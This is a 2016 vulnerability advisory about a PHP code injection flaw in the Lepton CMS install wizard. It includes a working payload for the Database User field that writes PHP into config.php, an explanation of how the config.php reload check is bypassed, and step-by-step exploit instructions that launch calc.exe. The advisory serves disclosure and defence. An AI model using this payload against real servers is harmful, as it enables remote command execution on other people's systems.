[+] Credits: John Page (HYP3RLINX)

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/LEPTON-PHP-CODE-INJECTION.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.lepton-cms.org



Product:
=================================
Lepton CMS 2.2.0 / 2.2.1 (update)

LEPTON is an easy-to-use but full customizable Content Management System
(CMS).




Vulnerability Type:
===================
PHP Code Injection



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

No input validation check is done on the "Database User" input field when
entering Lepton CMS setup information using the Install Wizard.
Therefore, a malicious user can input whatever they want in "config.php",
this can allow for PHP Remote Command Execution on the Host system.

e.g.

In the database username field, single quote to close "DB_USERNAME" value
then open our own PHP tags.

');?><?php exec(`calc.exe`);?>

Now in "config.php" the Database username becomes ===>
define('DB_USERNAME', '');?><?php exec(`calc.exe`);?>');

A security check attempt is made by Lepton to disallow making multiple HTTP
requests for "config.php". On line 3 of "config.php" file we find.

///////////////////////////////////////////////////////////////////////////////////////////////////////

if(defined('LEPTON_PATH')) { die('By security reasons it is not permitted
to load \'config.php\' twice!!
Forbidden call from \''.$_SERVER['SCRIPT_NAME'].'\'!'); }

///////////////////////////////////////////////////////////////////////////////////////////////////////////

However, the security check is placed on line 3 way before "LEPTON_PATH"
has been defined allowing complete bypass of that access control check.
Now we can inject our own PHP code into the config allowing Remote Command
Execution or Local/Remote File Includes etc...

Next, make HTTP GET request to "http://victim-server/upload/install/save.php"
again and code execution will be achieved or request "config.php"
directly as the security check made on line 3 of "config.php" to prevent
multiple HTTP requests to "config.php" does NOT work anyhow.

In situations where an installation script is provided as part of a some
default image often available as a convenience by hosting providers, this
can
be used to gain code execution on the target system and bypass whatever
security access controls/restrictions etc.

References:
http://www.lepton-cms.org/posts/important-lepton-2.2.2-93.php


Exploit code(s):
===============

1) At step 4 of Leptons Install Wizard, enter ');?><?php
exec(`calc.exe`);?> for Database User name, then fill in rest of fields

2) Click go to step 5 and fill in required fields, then click "Install
LEPTON"

3) Make HTTP GET request to:

 http://localhost/LEPTON_stable_2.2.0/upload/install/save.php

  OR

 http://localhost/LEPTON_stable_2.2.0/upload/config.php


BOOM pop calc.exe...



Disclosure Timeline:
===========================================================
Attempted Vendor Notification: June 11, 2016 (No replies)
Vendor Notification on July 12, 2016 ( thanks Henri Salo )
Vendor Acknowledgement: July 13, 2016
Vendor fixes: July 14, 2016
Vendor release version 2.2.2 : August 12, 2016
August 15, 2016  : Public Disclosure




Severity Level:
================
High


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX